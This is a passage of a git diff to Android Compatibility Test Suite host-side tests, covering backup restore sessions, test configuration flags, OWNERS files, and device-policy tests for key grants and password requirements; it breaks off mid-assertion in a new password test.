+    /**
+     * Test {@link RestoreSession#restorePackage(RestoreObserver, String, BackupManagerMonitor)}
+     */
+    @Test
+    public void testRestorePackageWithMonitorParam() throws Exception {
+        testRestorePackagesInternal("testRestorePackageWithMonitorParam",
+                /* packagesToRestore */ 1);
+    }
+
     /** Test {@link RestoreSession#restorePackages(long, RestoreObserver, Set)} */
     @Test
     public void testRestorePackages() throws Exception {
-        testRestorePackagesInternal("testRestorePackages");
+        testRestorePackagesInternal("testRestorePackages", /* packagesToRestore */ 2);
     }
 
     /**
@@ -83,7 +98,8 @@
      */
     @Test
     public void testRestorePackagesWithMonitorParam() throws Exception {
-        testRestorePackagesInternal("testRestorePackagesWithMonitorParam");
+        testRestorePackagesInternal("testRestorePackagesWithMonitorParam",
+                /* packagesToRestore */ 2);
     }
 
     /**
@@ -94,15 +110,16 @@
      *   <li>Write dummy values to shared preferences for each package
      *   <li>Backup each package (adb shell bmgr backupnow)
      *   <li>Clear shared preferences for each package
-     *   <li>Run restore for 2 of the packages and verify that only they were restored
-     *   <li>Verify that shared preferences for the 2 packages are restored correctly
+     *   <li>Run restore for the first {@code numPackagesToRestore}, verify only those are restored
+     *   <li>Verify that shared preferences for the restored packages are restored correctly
      * </ol>
      */
-    private void testRestorePackagesInternal(String deviceTestName) throws Exception {
+    private void testRestorePackagesInternal(String deviceTestName, int numPackagesToRestore)
+            throws Exception {
         installPackage(getApkNameForTestApp(1));
         installPackage(getApkNameForTestApp(2));
         installPackage(getApkNameForTestApp(3));
-        //
+
         // Write dummy value to shared preferences for all test packages.
         checkRestoreSessionDeviceTestForAllApps("testSaveValuesToSharedPrefs");
         checkRestoreSessionDeviceTestForAllApps("testCheckSharedPrefsExist");
@@ -119,11 +136,15 @@
         runRestoreSessionDeviceTestAndAssertSuccess(
                 MAIN_TEST_APP_PKG, DEVICE_MAIN_TEST_CLASS_NAME, deviceTestName);
 
-        // Check that shared prefs are only restored (and restored correctly) for the first 2
-        // packages.
-        checkRestoreSessionDeviceTest(1, "testCheckSharedPrefsExist");
-        checkRestoreSessionDeviceTest(2, "testCheckSharedPrefsExist");
-        checkRestoreSessionDeviceTest(3, "testCheckSharedPrefsDontExist");
+        // Check that shared prefs are only restored (and restored correctly) for the packages
+        // that need to be restored.
+        for (int i = 1; i <= TEST_APPS_COUNT; i++) {
+            if (i <= numPackagesToRestore) {
+                checkRestoreSessionDeviceTest(i, "testCheckSharedPrefsExist");
+            } else {
+                checkRestoreSessionDeviceTest(i, "testCheckSharedPrefsDontExist");
+            }
+        }
 
         uninstallPackage(getPackageNameForTestApp(1));
         uninstallPackage(getPackageNameForTestApp(2));
diff --git a/hostsidetests/bootstats/AndroidTest.xml b/hostsidetests/bootstats/AndroidTest.xml
index a22479d..e5d78ee 100644
--- a/hostsidetests/bootstats/AndroidTest.xml
+++ b/hostsidetests/bootstats/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="sysui" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsBootStatsTestCases.jar" />
         <option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/bootstats/OWNERS b/hostsidetests/bootstats/OWNERS
new file mode 100644
index 0000000..1f99e96
--- /dev/null
+++ b/hostsidetests/bootstats/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 183496
+keunyoung@google.com
diff --git a/hostsidetests/checkpoint/Android.mk b/hostsidetests/checkpoint/Android.mk
index 7f044b0..fc66d79 100644
--- a/hostsidetests/checkpoint/Android.mk
+++ b/hostsidetests/checkpoint/Android.mk
@@ -25,9 +25,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.checkpoint
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests gts
-
-LOCAL_MIN_SDK_VERSION := 4
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/checkpoint/AndroidTest.xml b/hostsidetests/checkpoint/AndroidTest.xml
index 1b8aba3..54aeaa8 100644
--- a/hostsidetests/checkpoint/AndroidTest.xml
+++ b/hostsidetests/checkpoint/AndroidTest.xml
@@ -15,7 +15,6 @@
 -->
 <configuration description="Config for the CTS Checkpoint host tests">
     <option name="test-suite-tag" value="cts" />
-    <option name="test-suite-tag" value="gts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
index d128c2d..677ccc3 100644
--- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -17,7 +17,6 @@
 package android.checkpoint.cts;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CtsDownstreamingTest;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import junit.framework.Assert;
@@ -29,7 +28,6 @@
 public class CheckpointHostTest extends DeviceTestCase {
     private static final String TAG = "CheckpointHostTest";
 
-    @CtsDownstreamingTest
     public void testLogEntries() throws Exception {
         // This test is build also as a part of GTS, which runs also on older releases.
         if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
diff --git a/hostsidetests/classloaders/OWNERS b/hostsidetests/classloaders/OWNERS
new file mode 100644
index 0000000..137abb9
--- /dev/null
+++ b/hostsidetests/classloaders/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 86431
+calin@google.com
+ngeoffray@google.com
+sehr@google.com
diff --git a/hostsidetests/classloaders/splits/AndroidTest.xml b/hostsidetests/classloaders/splits/AndroidTest.xml
index a3a8cbb..e7c881b 100644
--- a/hostsidetests/classloaders/splits/AndroidTest.xml
+++ b/hostsidetests/classloaders/splits/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsClassloaderSplitsHostTestCases.jar" />
         <option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/compilation/OWNERS b/hostsidetests/compilation/OWNERS
new file mode 100644
index 0000000..f386ff2
--- /dev/null
+++ b/hostsidetests/compilation/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include ../classloaders/OWNERS
diff --git a/hostsidetests/compilation/app/Android.bp b/hostsidetests/compilation/app/Android.bp
index f4954c7..770baea 100644
--- a/hostsidetests/compilation/app/Android.bp
+++ b/hostsidetests/compilation/app/Android.bp
@@ -16,7 +16,7 @@
     name: "CtsCompilationApp",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    sdk_version: "current",
+    sdk_version: "29",
     // tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/hostsidetests/content/AndroidTest.xml b/hostsidetests/content/AndroidTest.xml
index e13a5d9..136550e 100644
--- a/hostsidetests/content/AndroidTest.xml
+++ b/hostsidetests/content/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- This is a test for account data sync and READ_SYNC_SETTINGS/WRITE_SYNC_SETTINGS are required, which instant apps don't have -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSyncContentHostTestCases.jar" />
         <option name="runtime-hint" value="2m" />
diff --git a/hostsidetests/devicepolicy/AndroidTest.xml b/hostsidetests/devicepolicy/AndroidTest.xml
index e3929cc..575dc04 100644
--- a/hostsidetests/devicepolicy/AndroidTest.xml
+++ b/hostsidetests/devicepolicy/AndroidTest.xml
@@ -21,6 +21,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <!-- Not testing features backed by native code, so only need to run against one ABI -->
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <!-- Device admin/owner requires being run in system user -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
 
     <!-- Push the list of public APIs to device -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/hostsidetests/devicepolicy/OWNERS b/hostsidetests/devicepolicy/OWNERS
new file mode 100644
index 0000000..12341eb
--- /dev/null
+++ b/hostsidetests/devicepolicy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 100560
+include /tests/admin/OWNERS
diff --git a/hostsidetests/devicepolicy/TEST_MAPPING b/hostsidetests/devicepolicy/TEST_MAPPING
new file mode 100644
index 0000000..3d86cf3
--- /dev/null
+++ b/hostsidetests/devicepolicy/TEST_MAPPING
@@ -0,0 +1,20 @@
+{
+  "presubmit-devicepolicy": [
+    {
+      "name": "CtsDevicePolicyManagerTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.platform.test.annotations.FlakyTest"
+        },
+        {
+          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit-devicepolicy": [
+    {
+      "name": "CtsDevicePolicyManagerTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java
index 609ea1f..f9313ee 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertSelectionDelegateTest.java
@@ -18,6 +18,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.assertNull;
+
 import android.app.Activity;
 import android.app.admin.DelegatedAdminReceiver;
 import android.app.admin.DevicePolicyManager;
@@ -114,6 +116,16 @@
         }
     }
 
+    // Tests that if the delegated app returns {@link
+    // android.security.KeyChain.KEY_ALIAS_SELECTION_DENIED}
+    // the caller of {@link android.app.admin.DelegatedAdminReceiver#onChoosePrivateKeyAlias}
+    // receives {@code null}.
+    public void testNotChosenAnyAlias() throws Exception {
+        assertThat(mDpm.getDelegatedScopes(null, mContext.getPackageName())).contains(
+                DevicePolicyManager.DELEGATION_CERT_SELECTION);
+        assertNull(new KeyChainAliasFuture(KeyChain.KEY_ALIAS_SELECTION_DENIED).get());
+    }
+
     private class KeyChainAliasFuture implements KeyChainAliasCallback {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private String mChosenAlias = null;
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/PreSelectedKeyAccessTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/PreSelectedKeyAccessTest.java
new file mode 100644
index 0000000..605a0b4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/PreSelectedKeyAccessTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.certinstaller;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.security.KeyChain;
+import android.security.KeyChainException;
+import android.content.Context;
+import android.test.InstrumentationTestCase;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.cert.X509Certificate;
+
+public class PreSelectedKeyAccessTest extends InstrumentationTestCase {
+    private static final String PRE_SELECTED_ALIAS = "pre-selected-rsa";
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    // Test that this app can access pre-granted alias
+    public void testAccessingPreSelectedAliasExpectingSuccess() throws
+            KeyChainException, NoSuchAlgorithmException, InvalidKeyException, SignatureException,
+            InterruptedException {
+        PrivateKey privateKey = KeyChain.getPrivateKey(getContext(), PRE_SELECTED_ALIAS);
+        assertThat(privateKey).isNotNull();
+        String algoIdentifier = "SHA256withRSA";
+
+        byte[] data = new String("hello").getBytes();
+        Signature sign = Signature.getInstance(algoIdentifier);
+        sign.initSign(privateKey);
+        sign.update(data);
+        byte[] signature = sign.sign();
+
+        X509Certificate[] certs = KeyChain.getCertificateChain(getContext(), PRE_SELECTED_ALIAS);
+        assertThat(certs).isNotEmpty();
+
+        PublicKey publicKey = certs[0].getPublicKey();
+        Signature verify = Signature.getInstance(algoIdentifier);
+        verify.initVerify(publicKey);
+        verify.update(data);
+        assertThat(verify.verify(signature)).isTrue();
+    }
+
+    public void testAccessingPreSelectedAliasWithoutGrant() throws
+            KeyChainException, InterruptedException {
+        assertThat(KeyChain.getPrivateKey(getContext(), PRE_SELECTED_ALIAS)).isNull();
+    }
+
+    private Context getContext() {
+        return getInstrumentation().getContext();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java
index 1e9759c..472f3de 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceAdminPasswordTest.java
@@ -67,28 +67,22 @@
         }
     }
 
-    private boolean waitUntilPasswordState(boolean expected) throws InterruptedException {
+    private boolean getPasswordState() throws InterruptedException {
         final int currentQuality = dpm.getPasswordQuality(mAdminComponent);
         dpm.setPasswordQuality(mAdminComponent, DevicePolicyManager.PASSWORD_QUALITY_SOMETHING);
-
-        int numTries = 5;
-        boolean result = dpm.isActivePasswordSufficient();
-        while ((numTries > 0) && (result != expected)) {
-            numTries = numTries - 1;
-            Thread.sleep(100);
-            result = dpm.isActivePasswordSufficient();
+        try {
+            return dpm.isActivePasswordSufficient();
+        } finally {
+            dpm.setPasswordQuality(mAdminComponent, currentQuality);
         }
-
-        dpm.setPasswordQuality(mAdminComponent, currentQuality);
-        return expected == result;
     }
 
     private void assertHasPassword() throws InterruptedException {
-        assertTrue("No password set", waitUntilPasswordState(true));
+        assertTrue("No password set", getPasswordState());
     }
 
     private void assertNoPassword() throws InterruptedException {
-        assertTrue("Password is set", waitUntilPasswordState(false));
+        assertFalse("Password is set", getPasswordState());
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java
index fe2621e..1fae525 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/DeviceOwnerPasswordTest.java
@@ -60,10 +60,9 @@
         assertEquals(10, dpm.getPasswordMinimumLength(mAdminComponent));
         assertPasswordSufficiency(true); // length not checked for this quality
 
-        // TODO(ascull): fix resetPassword() logic so these succeed
-        assertPasswordFails("1234", caseDescription);
-        assertPasswordFails("abcd", caseDescription);
-        assertPasswordFails("abcd1234", caseDescription);
+        assertPasswordSucceeds("1234", caseDescription);
+        assertPasswordSucceeds("abcd", caseDescription);
+        assertPasswordSucceeds("abcd1234", caseDescription);
 
         dpm.setPasswordMinimumLength(mAdminComponent, 4);
         caseDescription = "minimum password length = 4";
@@ -378,17 +377,6 @@
     }
 
     private void assertPasswordSufficiency(boolean expectPasswordSufficient) {
-        int retries = 15;
-        // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
-        while (retries >= 0 && dpm.isActivePasswordSufficient() != expectPasswordSufficient) {
-            retries--;
-            try {
-                Thread.sleep(200);
-            } catch (InterruptedException e) {
-                break;
-            }
-        }
         assertEquals(expectPasswordSufficient, dpm.isActivePasswordSufficient());
-
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
index 8f9b9b5..212d20f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/BaseDeviceAdminTest.java
@@ -126,17 +126,6 @@
 
     protected void assertPasswordSufficiency(boolean expectPasswordSufficient) {
         waitUntilUserUnlocked();
-        int retries = 15;
-        // isActivePasswordSufficient() gets the result asynchronously so let's retry a few times
-        while (retries >= 0
-                && mDevicePolicyManager.isActivePasswordSufficient() != expectPasswordSufficient) {
-            retries--;
-            try {
-                Thread.sleep(200);
-            } catch (InterruptedException e) {
-                break;
-            }
-        }
         assertEquals(expectPasswordSufficient, mDevicePolicyManager.isActivePasswordSufficient());
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
index 756058c..8e8a6d6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerHelper.java
@@ -19,6 +19,7 @@
 import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
 
 import android.app.admin.DevicePolicyManager;
+import android.keystore.cts.KeyGenerationUtils;
 
 import java.util.Arrays;
 import java.util.List;
@@ -32,6 +33,9 @@
 
     private static final List<String> CERT_INSTALL_SCOPES = Arrays.asList(DELEGATION_CERT_INSTALL);
 
+    // MUST match the alias in PreSelectedKeyAccessTest
+    private static final String PRE_SELECTED_ALIAS = "pre-selected-rsa";
+
     private DevicePolicyManager mDpm;
 
     @Override
@@ -57,4 +61,19 @@
         assertFalse(mDpm.getDelegatePackages(ADMIN_RECEIVER_COMPONENT,
                 DELEGATION_CERT_INSTALL).contains(CERT_INSTALLER_PACKAGE));
     }
+
+    public void testManualGenerateKeyAndGrantAccess() {
+        KeyGenerationUtils.generateRsaKey(mDpm, ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS);
+        assertTrue(mDpm.grantKeyPairToApp(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS,
+                    CERT_INSTALLER_PACKAGE));
+    }
+
+    public void testManualRemoveKeyGrant() {
+        assertTrue(mDpm.revokeKeyPairFromApp(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS,
+                CERT_INSTALLER_PACKAGE));
+    }
+
+    public void testManualClearGeneratedKey() {
+        assertTrue(mDpm.removeKeyPair(ADMIN_RECEIVER_COMPONENT, PRE_SELECTED_ALIAS));
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
index d6856a9..4e58d92 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DevicePolicyLoggingTest.java
@@ -50,7 +50,7 @@
 
     public void testPasswordMethodsLogged() {
         mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                DevicePolicyManager.PASSWORD_QUALITY_SOMETHING);
+                DevicePolicyManager.PASSWORD_QUALITY_COMPLEX);
         mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 13);
         mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, 14);
         mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, 15);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
new file mode 100644
index 0000000..f9ce726
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
+import static org.testng.Assert.assertThrows;
+
+/**
+ * Class that tests password constraints API preconditions.
+ */
+public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+    private static final int TEST_VALUE = 5;
+    private static final int DEFAULT_NUMERIC = 1;
+    private static final int DEFAULT_LETTERS = 1;
+    private static final int DEFAULT_UPPERCASE = 0;
+    private static final int DEFAULT_LOWERCASE = 0;
+    private static final int DEFAULT_NON_LETTER = 0;
+    private static final int DEFAULT_SYMBOLS = 1;
+    private static final int DEFAULT_LENGTH = 0;
+
+    public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
+        // Pre-R password restrictions can be set in any order.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+        // These shouldn't throw.
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+
+        // Make sure these values are preserved and not reset when quality is set low.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+    }
+
+    public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+        // On R and above quality should be set first.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+    }
+
+    public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+        // On R and above quality should be set first.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+
+        // This should be allowed now.
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+
+        // These are still not allowed.
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+        assertThrows(IllegalStateException.class, () -> mDevicePolicyManager
+                .setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE));
+    }
+
+    public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+        // On R and above when quality is lowered, irrelevant requirements are getting reset.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        // These shouldn't throw anymore
+        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+        mDevicePolicyManager.setPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT, TEST_VALUE);
+
+        // Downgrade to NUMERIC, only length makes sense after that.
+        mDevicePolicyManager.setPasswordQuality(
+                ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
+
+        // Length shouldn't be reset
+        assertEquals(TEST_VALUE,
+                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+
+        // But other requirements should.
+        assertEquals(DEFAULT_NUMERIC,
